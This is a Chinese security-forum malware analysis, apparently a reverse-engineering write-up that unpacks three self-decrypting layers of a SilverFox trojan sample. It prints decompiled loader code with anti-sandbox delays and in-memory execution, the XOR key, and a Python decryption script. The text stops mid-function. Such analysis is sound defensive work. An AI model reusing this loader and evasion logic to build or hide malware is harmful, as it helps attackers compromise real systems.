首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
茶余饭后
发新帖
0
0
[原创][原创]银狐木马深度剖析:手工拆解三层自解密壳与 48KB 最终载荷
发表于: 5小时前
2
[原创][原创]银狐木马深度剖析:手工拆解三层自解密壳与 48KB 最终载荷
viper333
5小时前
2
样本取自`<mark class="encrypted">9a6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5i4A6S2j5i4u0Q4x3X3g2S2j5Y4g2K6k6g2)9J5k6h3y4Z5i4K6u0r3j5Y4u0G2N6%4y4W2i4K6u0r3N6r3q4Y4i4K6u0r3f1$3W2D9N6X3g2J5c8X3!0^5i4K6u0r3i4K6j5H3</mark> 样本:`524b0b9f10daa60f347cf8f906fd79fa43855df1d5fef2b9a58a90d543c5fdf4.exe`(38 MB,x64,来自 abuse.ch/bazaar 的 SilverFox 标签页) 环境:VMware Win11 虚拟机 + IDA(静态)+ x64dbg(动态),宿主机 Python 3.14 用DIE打开看一下这个exe文件  查看签名,发现是空的  查看版本  | 字段 | 值 | | ------------------------------- | ------------------------------------- | | FileDescription | **Virtual Printer Properties Module** | | ProductName | **MJS-BLDriver** | | FileVersion / ProductVersion | 1.0 | | InternalName / OriginalFilename | 空 | 有可能是冷门老软件被拿来当宿主,也可能是随便填的版本信息。 我们用PE-bear打开看一下有哪些导入表   静态加载的dll没啥,有可能是动态加载的dll.我们去ida里搜索一下%s.dll  发现是`crypto\dso\dso_win32.c`,是 OpenSSL 源码路径。Windows 上 OpenSSL 用 DSO(动态库)加载引擎时,就是 "%s.dll" 这种拼法。6MB 的业务/打印相关程序里链一份 OpenSSL 很常见. 我们直接静态分析一下 ida打开exe文件 start函数 ``` __int64 start() { sub_4161B0(); return sub_401161(); } ``` 我们看第一个函数 ``` __int64 sub_4161B0() { __int64 result; // rax struct _FILETIME v1; // rbx unsigned __int64 v2; // rbx unsigned __int64 v3; // rbx unsigned __int64 v4; // rbx LONGLONG v5; // r11 struct _FILETIME SystemTimeAsFileTime; // [rsp+30h] [rbp+8h] BYREF LARGE_INTEGER PerformanceCount; // [rsp+38h] [rbp+10h] BYREF SystemTimeAsFileTime = 0; if ( qword_42A490 == 47936899621426LL ) { GetSystemTimeAsFileTime(lpSystemTimeAsFileTime: &SystemTimeAsFileTime); v1 = SystemTimeAsFileTime; v2 = GetCurrentProcessId() ^ *(unsigned __int64 *)&v1; v3 = GetCurrentThreadId() ^ v2; v4 = GetTickCount() ^ v3; QueryPerformanceCounter(lpPerformanceCount: &PerformanceCount); v5 = (v4 ^ PerformanceCount.QuadPart) & 0xFFFFFFFFFFFFLL; result = 0x2B992DDFA233LL; if ( v5 == 47936899621426LL ) v5 = 0x2B992DDFA233LL; qword_42A490 = v5; qword_42A498 = ~v5; } else { qword_42A498 = ~qword_42A490; return ~qword_42A490; } return result; } ``` 这个函数是栈保护函数,常数 `47936899621426 = 0x2B992DDFA232`,这是 MSVC 默认 栈保护cookie |函数|通俗含义|在 cookie 里当什么| |---|---|---| |`GetSystemTimeAsFileTime`|现在的系统时间(100 纳秒单位)|时间在变| |`GetCurrentProcessId`|当前进程 PID|这次启动的进程号| |`GetCurrentThreadId`|当前线程 TID|线程号| |`GetTickCount`|开机到现在过了多少毫秒|开机时长| |`QueryPerformanceCounter`|高精度计时器读数|更细的时间| 我们看第二个函数`sub_401161`  看下函数`401196`函数的汇编 ``` .text:0000000000401161 sub_401161 proc near ; CODE XREF: start+D↓j .text:0000000000401161 .text:0000000000401161 ; FUNCTION CHUNK AT .text:0000000000401440 SIZE 0000000C BYTES .text:0000000000401161 ; FUNCTION CHUNK AT .text:00000000004023D5 SIZE 00000008 BYTES .text:0000000000401161 ; FUNCTION CHUNK AT .text:0000000000402A4E SIZE 00000011 BYTES .text:0000000000401161 .text:0000000000401161 push rbp .text:0000000000401162 mov rbp, rsp .text:0000000000401165 sub rsp, 48h .text:0000000000401169 add rax, 8 .text:000000000040116D xor r10d, 49656E69h .text:0000000000401174 xor r11d, r11d .text:0000000000401177 xor r11d, r11d .text:000000000040117A or r10d, r8d .text:000000000040117D add rax, 8 .text:0000000000401181 call sub_40119D .text:0000000000401186 test rax, rax .text:0000000000401189 jz short loc_401190 .text:000000000040118B jmp loc_401440 .text:0000000000401190 ; --------------------------------------------------------------------------- .text:0000000000401190 .text:0000000000401190 loc_401190: ; CODE XREF: sub_401161+28↑j .text:0000000000401190 jmp short loc_401194 .text:0000000000401192 ; --------------------------------------------------------------------------- .text:0000000000401192 jmp short loc_401196 .text:0000000000401194 ; --------------------------------------------------------------------------- .text:0000000000401194 .text:0000000000401194 loc_401194: ; CODE XREF: sub_401161:loc_401190↑j .text:0000000000401194 xor eax, eax .text:0000000000401196 .text:0000000000401196 loc_401196: ; CODE XREF: sub_401161+31↑j .text:0000000000401196 enter 0FFFFFFFFFFFF8348h, 0C4h .text:000000000040119A pop rbp .text:000000000040119C retn .text:000000000040119C sub_401161 endp ; sp-analysis failed .text:000000000040119C ``` 分析汇编 `call sub_401190` ``` void __fastcall sub_40119D(__int64 a1, __int64 a2) { __int64 v2; // rdx unsigned __int64 v3; // rax __int64 v4; // r14 __int64 i; // r11 __int64 j; // r9 __asm { rdtscp } v2 = a2 << 32; v3 = v2; v4 = v2; do { __asm { frndint } __asm { rdtscp } v2 <<= 32; v3 = (v2 | v3) - v4; } while ( v3 < 0xEE6B2800 ); for ( i = 16; i != 0; --i ) { for ( j = 82354371; j != 0; --j ) ; } } ``` 单纯恶心,rdtscp 循环,等到 CPU 时间戳差 ≥ 0xEE6B2800 + 单步调试的循环了16 * 82354371,继续往下看汇编 ``` .text:0000000000401186 test rax, rax .text:0000000000401189 jz short loc_401190 .text:000000000040118B jmp loc_401440 ``` `rax = 0` -> `loc_401190` ,`rax != 0` -> `loc_401440`,这里我们ida动调一下看看rax的值到底是多少,发现`rax = 2` -> `ZF = 0` -> jz不成立,所以只能跳转`loc_401440`  先看`loc_401190` ``` .text:0000000000401190 loc_401190: ; CODE XREF: sub_401161+28↑j .text:0000000000401190 jmp short loc_401194 .text:0000000000401192 ; --------------------------------------------------------------------------- .text:0000000000401192 jmp short loc_401196 .text:0000000000401194 ; --------------------------------------------------------------------------- .text:0000000000401194 .text:0000000000401194 loc_401194: ; CODE XREF: sub_401161:loc_401190↑j .text:0000000000401194 xor eax, eax .text:0000000000401196 .text:0000000000401196 loc_401196: ; CODE XREF: sub_401161+31↑j .text:0000000000401196 enter 0FFFFFFFFFFFF8348h, 0C4h .text:000000000040119A pop rbp .text:000000000040119C retn ``` `enter 0FFFFFFFFFFFF8348h`帧大小被写成一个大到离谱的数,所以这个分支会直接退出 再看`loc_401440` ``` text:0000000000401440 loc_401440: ; CODE XREF: sub_401161+2A↑j .text:0000000000401440 mov rcx, 750B233Ah .text:0000000000401447 jmp loc_4023D5 .text:0000000000401447 ; END OF FUNCTION CHUNK FOR sub_401161 .text:0000000000401447 ; --------------------------------------------------------------------------- .text:000000000040144C align 10h .text:0000000000401450 dq 0CCCCCC0008DA9BE9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC0008DED7E9h .text:0000000000401468 dq 0CCCCCCCCCCCCCCCCh, 0CCCCCC0006791BE9h, 0CCCCCCCCCCCCCCCCh .text:0000000000401480 dq 0CCCCCC000BF587E9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC00083A37E9h .text:0000000000401498 dq 0CCCCCCCCCCCCCCCCh, 0CCCCCC0002E8DBE9h, 0CCCCCCCCCCCCCCCCh .text:00000000004014B0 dq 0CCCCCC00027DCBE9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC000A1C5FE9h .text:00000000004014C8 dq 0CCCCCCCCCCCCCCCCh, 0CCCCCC000756BFE9h, 0CCCCCCCCCCCCCCCCh ....... .text:00000000004023D0 db 0E9h, 7Bh, 61h, 3, 0 .text:0000000000401440 loc_401440: ; CODE XREF: sub_401161+2A↑j .text:0000000000401440 mov rcx, 750B233Ah .text:0000000000401447 jmp loc_4023D5 .text:0000000000401447 ; END OF FUNCTION CHUNK FOR sub_401161 .text:0000000000401447 ; --------------------------------------------------------------------------- .text:000000000040144C align 10h .text:0000000000401450 dq 0CCCCCC0008DA9BE9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC0008DED7E9h .text:0000000000401468 dq 0CCCCCCCCCCCCCCCCh, 0CCCCCC0006791BE9h, 0CCCCCCCCCCCCCCCCh .text:0000000000401480 dq 0CCCCCC000BF587E9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC00083A37E9h ..... .text:00000000004023D0 db 0E9h, 7Bh, 61h, 3, 0 .text:00000000004023D5 loc_4023D5: ; CODE XREF: sub_401161+2E6↑j .text:00000000004023D5 ; sub_401161:loc_402A4E↓j .text:00000000004023D5 dec rcx .text:00000000004023D8 jmp loc_402A4E .text:00000000004023D8 ; END OF FUNCTION CHUNK FOR sub_401161 .text:00000000004023D8 ; --------------------------------------------------------------------------- .text:00000000004023DD align 20h .text:00000000004023E0 dq 0CCCCCC000CFA27E9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC000513DBE9h .text:00000000004023F8 dq 0CCCCCCCCCCCCCCCCh, 0CCCCCC000AACC7E9h, 0CCCCCCCCCCCCCCCCh ..... .text:0000000000402A48 db 6 dup(0CCh) .text:0000000000402A4E loc_402A4E: ; CODE XREF: sub_401161+1277↑j .text:0000000000402A4E jnz loc_4023D5 .text:0000000000402A54 call sub_4032EB .text:0000000000402A59 call sub_4039A9 .text:0000000000402A5E retn .text:0000000000402A5E ; END OF FUNCTION CHUNK FOR sub_401161 .text:0000000000402A5E ; --------------------------------------------------------------------------- .text:0000000000402A5F align 20h .text:0000000000402A60 dq 0CCCCCC00056E8BE9h, 0CCCCCCCCCCCCCCCCh, 0CCCCCC00092AEFE9h .... .text:00000000004032E8 db 3 dup(0CCh) ``` `loc_401440`->`loc_4023D5`->`loc_402A4E`->`loc_4023D5`->`sub_4032EB`->`sub_4039A9`,会循环1963664186次才跳出循环执行后面的函数`sub_4032EB`->`sub_4039A9` `sub_4032EB`函数 ``` __int64 sub_4032EB() { __int64 result; // rax unsigned int v1; // [rsp+30h] [rbp-8h] int v2; // [rsp+34h] [rbp-4h] result = sub_40334B(); v2 = result; v1 = 0; while ( v1 < 0xBB8 ) { result = (unsigned int)sub_40334B() - v2; v1 = result; if ( (unsigned int)result < 0x5DC ) result = (unsigned int)(2 * result); } return result; } __int64 sub_40334B() { return ((unsigned int)(MEMORY[0x7FFE0004] * MEMORY[0x7FFE0320]) >> 24) + (MEMORY[0x7FFE0324] << 8) * MEMORY[0x7FFE0004]; } ``` `0x7FFE0000`这是 Windows 映射给每个进程的只读页,里面有中断时间、Tick、倍率等。常见偏移: |地址|一般含义| |---|---| |`0x7FFE0004`|`InterruptTime` 的高半部分一类字段| |`0x7FFE0320`|`TickCountMultiplier`| |`0x7FFE0324`|`TickCount` 低 32 位| 也是一个延时的函数 `sub_4039A9` ``` _BYTE *sub_4039A9() { _BYTE *result; // rax char *v1; // rdi __int64 v2; // rcx _BYTE *v3; // rsi char v4; // al _BYTE *v5; // [rsp+58h] [rbp-160h] result = VirtualAlloc(lpAddress: nullptr, dwSize: 0xDE7Au, flAllocationType: 0x1000u, flProtect: 0x40u); v5 = result; if ( result != nullptr ) { v1 = (char *)&unk_42D10D; v2 = 56954; v3 = result; do { v4 = *v1; _mm_lfence(); *v3 = v4; ++v1; ++v3; --v2; } while ( v2 != 0 ); __asm { jmp r11 } } return result; } ``` `VirtualAlloc(lpAddress: nullptr, dwSize: 0xDE7Au, flAllocationType: 0x1000u, flProtect: 0x40u)` 作用是向系统要一块虚拟内存, `lpAddress` — 想要的起始地址 `dwSize` — 要多少字节 `flAllocationType` — 怎么分配 |值|宏|含义| |---|---|---| |`0x1000`|`MEM_COMMIT`|提交物理页,马上能用| |`0x2000`|`MEM_RESERVE`|只占地址空间,还不能读写| |两者或在一起|`0x3000`|先保留再提交| `flProtect` — 页权限 |值|宏|含义| |---|---|---| |`0x01`|`PAGE_NOACCESS`|不能访问| |`0x02`|`PAGE_READONLY`|只读| |`0x04`|`PAGE_READWRITE`|读写,不能当代码跑| |`0x10`|`PAGE_EXECUTE`|只能执行| |`0x20`|`PAGE_EXECUTE_READ`|执行 + 读| |**`0x40`**|**`PAGE_EXECUTE_READWRITE`**|**读 + 写 + 执行**| 我们先dump出来`unk_42D10D` ```python import ida_bytes data = ida_bytes.get_bytes(0x42D10D, 0xDE7A) open(r"C:\Users\sfoxlab1\Desktop\stage.bin", "wb").write(data) ``` `unk_42D10D`这个数据会复制到VirtualAlloc开辟的区间,然后就跳转到r11寄存器了,于是动调一下r11寄存器看看是怎么个事,打开x64dbg,在0x403A39打断点,看看寄存器的值  此时寄存器`RSI = 0x0299DE7A`,`RDI = 0x0043AF87`,`R12 = R11 = 0x02990000`,`RAX = 0x00403AE4` 说明`sub_4039A9`这个函数执行完之后就跳转到了`0x02990000`这个地址,然后我们直接ctrl + G跳转到这个内存看看  直接在x64dbg中dump出来 ``` savedata C:\Users\sfoxlab1\Desktop\check_C1.bin, 0x2990000, 0xDE7A ``` 用ida打开这个bin文件  然后x64dbg单步F8  发现RIP刚好指到了0x2990000的位置,并且第一条就是call 299DE2D,偏移和ida里显示的一样,感觉像是加载器在运行期动态构造解密桩 看一下`299DE2D` ``` 000000000299DE2D | EB 01 | jmp 299DE30 | 000000000299DE2F | 8C5F 48 | mov word ptr ds:[rdi+48],ds | rdi+48:ShowProperties+330CB 000000000299DE32 | 39C0 | cmp eax,eax | 000000000299DE34 | 816F 04 E046FABA | sub dword ptr ds:[rdi+4],BAFA46E0 | rdi+04:ShowProperties+33087 000000000299DE3B | 48:0F4ADB | cmovp rbx,rbx | 000000000299DE3F | 816F 08 710B9DAB | sub dword ptr ds:[rdi+8],AB9D0B71 | rdi+08:ShowProperties+3308B 000000000299DE46 | 4D:0F4DC9 | cmovge r9,r9 | 000000000299DE4A | 8177 0C 5F394C79 | xor dword ptr ds:[rdi+C],794C395F | rdi+0C:ShowProperties+3308F 000000000299DE51 | EB 01 | jmp 299DE54 | 000000000299DE53 | 5E | pop rsi | ``` ``` 000000000299DE2D | EB 01 | jmp 299DE30 | 000000000299DE2F | 8C5F 48 | mov word ptr ds:[rdi+48],ds | rdi+48:ShowProperties+330CB 000000000299DE32 | 39C0 | cmp eax,eax | 000000000299DE34 | 816F 04 E046FABA | sub dword ptr ds:[rdi+4],BAFA46E0 | rdi+04:ShowProperties+33087 000000000299DE3B | 48:0F4ADB | cmovp rbx,rbx | 000000000299DE3F | 816F 08 710B9DAB | sub dword ptr ds:[rdi+8],AB9D0B71 | rdi+08:ShowProperties+3308B 000000000299DE46 | 4D:0F4DC9 | cmovge r9,r9 | 000000000299DE4A | 8177 0C 5F394C79 | xor dword ptr ds:[rdi+C],794C395F | rdi+0C:ShowProperties+3308F 000000000299DE51 | EB 01 | jmp 299DE54 | 000000000299DE53 | 5E | pop rsi | 000000000299DE54 | C147 10 98 | rol dword ptr ds:[rdi+10],98 | rdi+10:ShowProperties+33093 000000000299DE58 | FFE7 | jmp rdi | rdi:ShowProperties+33083 000000000299DE5A | 41:FFE4 | jmp r12 | 000000000299DE5D | 9E | sahf | 000000000299DE5E | EA | ??? | 000000000299DE5F | 41:FFE6 | jmp r14 | 000000000299DE62 | E6 C2 | out C2,al | 000000000299DE64 | 41:FFE7 | jmp r15 | 000000000299DE67 | 0000 | add byte ptr ds:[rax],al | 000000000299DE69 | 0041 C1 | add byte ptr ds:[rcx-3F],al | 000000000299DE6C | 4A:101441 | adc byte ptr ds:[rcx+r8*2],dl | 000000000299DE70 | FFE2 | jmp rdx | 000000000299DE72 | FFE3 | jmp rbx | 000000000299DE74 | 15 7241FFE0 | adc eax,E0FF4172 | 000000000299DE79 | E4 00 | in al,0 | ``` | 指令 | 改谁 | 绝对地址(`rdi=0x2990005` 时) | | -------------------------------- | ------------- | ----------------------- | | `sub dword [rdi+4], 0xBAFA46E0` | 内存里一个 4 字节 | **`0x2990009`** | | `sub dword [rdi+8], 0xAB9D0B71` | 下一个 4 字节 | **`0x299000D`** | | `xor dword [rdi+0C], 0x794C395F` | 再下一个 | **`0x2990011`** | | `rol dword [rdi+10], 0x98` | 再下一个(左旋 24 位) | **`0x2990015`** | 所以他的加密逻辑是`jmp r11`就是`0000000002990000 | E8 28DE0000 | call 299DE2D`然后跳转到`0x299DE2D`这个时候修改了`0x2990009` `0x299000D` `0x2990011` `0x2990015`这时候的四个地址的数据,然后再`jmp rdi`(这个时候是0x2990005,因为call 299DE2D的时候会把下一跳的地址压栈,再jmp)此时内存中的值已经被修改了,所以只能动调然后dump出来二进制文件 # 解密第一步 动调进入`299DE2D`函数,这时候那四个字节应该解密完成,我们dump出来看一眼  `savedata C:\Users\sfoxlab1\Desktop\patch_applied.bin, 0x2990000, 0xDE7A`, 用ida打开看一眼是不是解密出一部分代码了  x64dbg ``` 0000000002990009 | 41:B5 A8 | mov r13b,A8 | 000000000299000C | 48:C7C1 09DE0000 | mov rcx,DE09 | 0000000002990013 | 4C:8D35 09000000 | lea r14,qword ptr ds:[2990023] | 000000000299001A | 45:302C0E | xor byte ptr ds:[r14+rcx],r13b | 000000000299001E | 45:022C0E | add r13b,byte ptr ds:[r14+rcx] | 0000000002990022 | E2 F6 | loop 299001A | ``` ida ``` mov r13b, 0A8h seg000:000000000000000C mov rcx, 0DE09h seg000:0000000000000013 lea r14, loc_22+1 seg000:000000000000001A seg000:000000000000001A loc_1A: ; CODE XREF: seg000:loc_22↓j seg000:000000000000001A xor [r14+rcx], r13b seg000:000000000000001E add r13b, [r14+rcx] seg000:0000000000000022 seg000:0000000000000022 loc_22: ; DATA XREF: seg000:0000000000000013↑o seg000:0000000000000022 loop loc_1A ``` **用滚动异或,把 0x2990024~0x299DE2C 解开。** # 解密第二步 那就在x64dbg里在`0x2990024`打硬件断点`bphws 0x2990024`,然后再dump出解密的部分`savedata C:\Users\sfoxlab1\Desktop\payload_C2_v2.bin, 0x2990000, 0xDE7A`  打开看一下  发现还是没有解密成功,x64dbg往下继续执行吧,看看有没有发现 # 解密第三步 下一步`0000000002990028 | E9 60BF0000 | jmp 299BF8D`,我们直接在ida里看一下`BF8D` ``` __int64 __fastcall sub_BF8D(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6) { int v6; // edx int v7; // edi int v8; // esi int v9; // r8d int v10; // r9d __int64 v11; // rdx __int64 v12; // rdi __int64 v13; // rsi int v14; // r8d int v15; // r9d __int64 v16; // rdi __int64 v17; // rsi int v18; // edi int v19; // esi int v20; // r8d int v21; // r9d unsigned __int64 v22; // rax __int64 v23; // rdx __int64 v24; // rdi __int64 v25; // rsi int v26; // edi int v27; // esi int v28; // r8d int v29; // r9d int v30; // edi int v31; // esi int v32; // r8d int v33; // r9d __int64 v34; // rax __int64 v35; // rdi __int64 v36; // rsi int v37; // edi int v38; // esi int v39; // r9d int v40; // edi int v41; // esi int v42; // r9d int v43; // edi int v44; // esi int v45; // r8d int v46; // r9d __int64 v47; // rdi __int64 v48; // rsi __int64 v49; // rax __int64 v50; // rdi __int64 v51; // rsi __int64 v53; // [rsp+0h] [rbp-128h] __int64 v54; // [rsp+0h] [rbp-128h] __int64 v55; // [rsp+0h] [rbp-128h] __int64 v56; // [rsp+8h] [rbp-120h] __int64 v57; // [rsp+8h] [rbp-120h] char v58[16]; // [rsp+20h] [rbp-108h] BYREF char v59[8]; // [rsp+30h] [rbp-F8h] BYREF char v60[16]; // [rsp+38h] [rbp-F0h] BYREF char v61[16]; // [rsp+48h] [rbp-E0h] BYREF char v62[16]; // [rsp+58h] [rbp-D0h] BYREF char v63[16]; // [rsp+68h] [rbp-C0h] BYREF char v64[16]; // [rsp+78h] [rbp-B0h] BYREF char v65[16]; // [rsp+88h] [rbp-A0h] BYREF char v66[24]; // [rsp+98h] [rbp-90h] BYREF int j; // [rsp+B0h] [rbp-78h] int v68; // [rsp+B4h] [rbp-74h] __int64 v69; // [rsp+B8h] [rbp-70h] void (*v70)(void); // [rsp+C0h] [rbp-68h] unsigned __int64 i; // [rsp+C8h] [rbp-60h] __int64 (*v72)(void); // [rsp+D0h] [rbp-58h] int v73; // [rsp+D8h] [rbp-50h] _BYTE v74[4]; // [rsp+DCh] [rbp-4Ch] BYREF void (__fastcall *v75)(__int64, __int64, __int64, __int64); // [rsp+E0h] [rbp-48h] __int64 v76; // [rsp+E8h] [rbp-40h] BYREF __int64 (__fastcall *v77)(__int64, __int64, __int64 *, _QWORD); // [rsp+F0h] [rbp-38h] void (__fastcall *v78)(__int64, __int64, __int64, _QWORD); // [rsp+F8h] [rbp-30h] __int64 (__fastcall *v79)(__int64, __int64, __int64, __int64, __int64); // [rsp+100h] [rbp-28h] unsigned int (__fastcall *v80)(__int64, __int64, __int64, void (*)(void), __int64, _BYTE *); // [rsp+108h] [rbp-20h] void (__fastcall *v81)(__int64, __int64, _QWORD, __int64, void (*)(void)); // [rsp+110h] [rbp-18h] void (*v82)(void); // [rsp+118h] [rbp-10h] strcpy(v58, "kernel32.dll"); strcpy(v59, "Sleep"); v75 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_CBFD( a1, a2, a3: (unsigned int)v59, a4: (unsigned int)v58, a5, a6); sub_D47D(); while ( (unsigned int)sub_CC9D(a1: v7, a2: v8, a3: v6, a4: 10000, a5: v9, a6: v10, a7: v53) != 0 ) v75(a1: v12, a2: v13, a3: v11, a4: 1000); for ( i = 0; i < 0x14; ++i ) { if ( i == 5 ) { strcpy(v61, "ntdll.dll"); v77 = (__int64 (__fastcall *)(__int64, __int64, __int64 *, _QWORD))sub_CBFD( a1: v12, a2: v13, a3: (unsigned int)"NtDelayExecution", a4: (unsigned int)v61, a5: v14, a6: v15); v76 = -100000000; v73 = v77(a1: v16, a2: v17, a3: &v76, a4: 0); } } strcpy(v66, "4@e!c!bSL2AeimnwyD4x"); v69 = 48645; sub_D90D(a1: v12, a2: v13, a3: v11, a4: 48645, a5: v14, a6: v15, a7: v53); sub_C7CD(); if ( (unsigned int)sub_DC4D() != 0 ) { v68 = 0; for ( j = 0; j < 1000; ++j ) { v22 = __rdtsc(); v68 += v22; } strcpy(v63, "ExitProcess"); v78 = (void (__fastcall *)(__int64, __int64, __int64, _QWORD))sub_CBFD( a1: v18, a2: v19, a3: (unsigned int)v63, a4: (unsigned int)v58, a5: v20, a6: v21); v78(a1: v24, a2: v25, a3: v23, a4: 0); } strcpy(v64, "GetProcessHeap"); strcpy(v62, "HeapAlloc"); strcpy(v60, "HeapFree"); v72 = (__int64 (*)(void))sub_CBFD(a1: v18, a2: v19, a3: (unsigned int)v64, a4: (unsigned int)v58, a5: v20, a6: v21); v79 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64, __int64))sub_CBFD( a1: v26, a2: v27, a3: (unsigned int)v62, a4: (unsigned int)v58, a5: v28, a6: v29); v81 = (void (__fastcall *)(__int64, __int64, _QWORD, __int64, void (*)(void)))sub_CBFD( a1: v30, a2: v31, a3: (unsigned int)v60, a4: (unsigned int)v58, a5: v32, a6: v33); v34 = v72(); v70 = (void (*)(void))v79(a1: v35, a2: v36, a3: 8, a4: v34, a5: v69); sub_DD1D(a1: v37, a2: v38, a3: (unsigned int)&unk_2D, a4: (_DWORD)v70, a5: v69, a6: v39, a7: v54, a8: v56); sub_D83D(a1: v40, a2: v41, a3: v69, a4: (_DWORD)v70, a5: (unsigned int)v66, a6: v42, a7: v55, a8: v57); strcpy(v65, "VirtualProtect"); v80 = (unsigned int (__fastcall *)(__int64, __int64, __int64, void (*)(void), __int64, _BYTE *))sub_CBFD( a1: v43, a2: v44, a3: (unsigned int)v65, a4: (unsigned int)v58, a5: v45, a6: v46); if ( v80(a1: v47, a2: v48, a3: v69, a4: v70, a5: 64, a6: v74) == 0 ) { v49 = v72(); v81(a1: v50, a2: v51, a3: 0, a4: v49, a5: v70); sub_BF8D(); } v82 = v70; v70(); return 0; } ``` 这一块应该就是解密的核心函数了 ``` __int64 __fastcall sub_CBFD(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6) { int v6; // eax int v7; // edi int v8; // esi int v9; // r8d int v10; // r9d int v11; // edx int v12; // edi int v13; // esi int v14; // r8d int v15; // r9d int v16; // eax int v17; // edi int v18; // esi int v19; // r8d int v20; // r9d __int64 v21; // rdx __int64 v22; // rdi __int64 v23; // rsi __int64 v24; // rdi __int64 v25; // rsi __int64 v27; // [rsp+0h] [rbp-58h] __int64 v28; // [rsp+0h] [rbp-58h] __int64 v29; // [rsp+20h] [rbp-38h] __int64 (__fastcall *v30)(__int64, __int64, __int64, __int64); // [rsp+28h] [rbp-30h] __int64 (__fastcall *v31)(__int64, __int64, __int64, __int64); // [rsp+30h] [rbp-28h] __int64 v32; // [rsp+38h] [rbp-20h] v6 = sub_CB3D(a1, a2, a3, a4: 1695039550, a5, a6); v30 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64))sub_C9BD( a1: v7, a2: v8, a3: 56352649, a4: v6, a5: v9, a6: v10, a7: v27); v16 = sub_CB3D(a1: v12, a2: v13, a3: v11, a4: 1695039550, a5: v14, a6: v15); v31 = (__int64 (__fastcall *)(__int64, __int64, __int64, __int64))sub_C9BD( a1: v17, a2: v18, a3: 1227537811, a4: v16, a5: v19, a6: v20, a7: v28); if ( v30 != nullptr && v31 != nullptr && (v32 = v30(a1: v22, a2: v23, a3: v21, a4), (v29 = v31(a1: v24, a2: v25, a3, a4: v32)) != 0) ) { return v29; } else { return 0; } } ``` ``` strcpy(v58, "kernel32.dll"); strcpy(v59, "Sleep"); v75 = (void (__fastcall *)(__int64, __int64, __int64, __int64))sub_CBFD( a1, a2, a3: (unsigned int)v59, a4: (unsigned int)v58, a5, a6); ``` 这一段应该是反沙箱的会sleep ``` for ( i = 0; i < 0x14; ++i ) { if ( i == 5 ) { strcpy(v61, "ntdll.dll"); v77 = (__int64 (__fastcall *)(__int64, __int64, __int64 *, _QWORD))sub_CBFD( a1: v12, a2: v13, a3: (unsigned int)"NtDelayExecution", a4: (unsigned int)v61, a5: v14, a6: v15); v76 = -100000000; v73 = v77(a1: v16, a2: v17, a3: &v76, a4: 0); } } ``` ntdll 里的延迟函数 终于看到了类似密钥的东西了 `strcpy(v66, "4@e!c!bSL2AeimnwyD4x");` ``` unsigned __int64 __fastcall sub_D83D(int a1, int a2, unsigned __int64 heap_size, __int64 a4, __int64 key) { unsigned __int64 result; // rax int v6; // [rsp+0h] [rbp-28h] unsigned __int64 i; // [rsp+8h] [rbp-20h] __int64 v8; // [rsp+10h] [rbp-18h] v6 = 0; v8 = -1; do ++v8; while ( *(_BYTE *)(key + v8) != 0 ); for ( i = 0; ; ++i ) { result = heap_size; if ( i >= heap_size ) break; if ( v6 == (_DWORD)v8 ) v6 = 0; *(_BYTE *)(i + a4) ^= *(_BYTE *)(key + v6++); } return result; } ``` 到现在差不多他解密的流程已经出来了,现在有两种方式dump出最后的解密文件,1.动调,2.写脚本解`payload_C2_v2.bin`,每字节 ⊕ key\[位置 mod 20\] ## 脚本异或 ``` d = open(r"C:\Users\sfoxlab1\Desktop\payload_C2_v2.bin","rb").read() # [1] 钥匙就在文件里(0xBC80,20 字节) key = d[0xBC80:0xBC94] print("[1] 密钥:", key.decode()) # [2] 剥第二层:主体 [0x24, 0xDE2C) 每字节 ⊕ key[位置 mod 20] body = bytes(b ^ key[i % 20] for i, b in enumerate(d[0x24:0xDE2C])) print("[2] 主体解密完成,kernel32.dll @", hex(body.find(b"kernel32.dll"))) # [3] 按 layer-1 逻辑裁真身: # sub_BF8D: HeapAlloc(48645) ← 从 blob 偏移 0x2D 复制 48645 字节 → sub_D83D 解密 # blob 0x2D = 本文件偏移 0x09 real = body[0x09 : 0x09 + 0xBE05] open(r"C:\Users\sfoxlab1\Desktop\payload_real_static.bin","wb").write(real) print("[3] 已保存 payload_real_static.bin,大小 =", hex(len(real)), "(应 0xBE05)") # [4] 自检 print("[4] 开头 16 字节:", real[:16].hex(" ")) print(" kernel32.dll:", b"kernel32.dll" in real, "| SOFTWARE\\JDBCC:", b"SOFTWARE\\JDBCC" in real, "| checktime.vbs:", b"checktime.vbs" in real) ``` 最后生成`payload_real_static.bin` 控制台打印  ## todo动调 # 分析`payload_real_static.bin` 用ida打开,`MetaPC (disassemble all opcodes)`, 勾选`Load as code segment`  hhhhhh,然后就拿到了所有的payload,这里就列举几个 ``` __int64 __fastcall sub_18D5(int a1, int a2, __int64 a3, __int64 a4, int a5, int a6) { int v6; // edi int v7; // esi int v8; // r8d int v9; // r9d int v10; // edi int v11; // esi int v12; // r8d int v13; // r9d int v14; // edi int v15; // esi int v16; // r8d int v17; // r9d __int64 v18; // rax __int64 v19; // rdi __int64 v20; // rsi __int64 v21; // rdi __int64 v22; // rsi __int64 v23; // rdx __int64 v24; // rdi __int64 v25; // rsi char v27[16]; // [rsp+30h] [rbp-B8h] BYREF char v28[16]; // [rsp+40h] [rbp-A8h] BYREF char v29[16]; // [rsp+50h] [rbp-98h] BYREF char v30[24]; // [rsp+60h] [rbp-88h] BYREF char v31[24]; // [rsp+78h] [rbp-70h] BYREF char v32[24]; // [rsp+90h] [rbp-58h] BYREF unsigned int v33; // [rsp+A8h] [rbp-40h] unsigned int v34; // [rsp+ACh] [rbp-3Ch] BYREF __int64 v35; // [rsp+B0h] [rbp-38h] BYREF __int64 (*v36)(void); // [rsp+C0h] [rbp-28h] unsigned int (__fastcall *v37)(__int64, __int64, __int64, __int64, __int64 *); // [rsp+C8h] 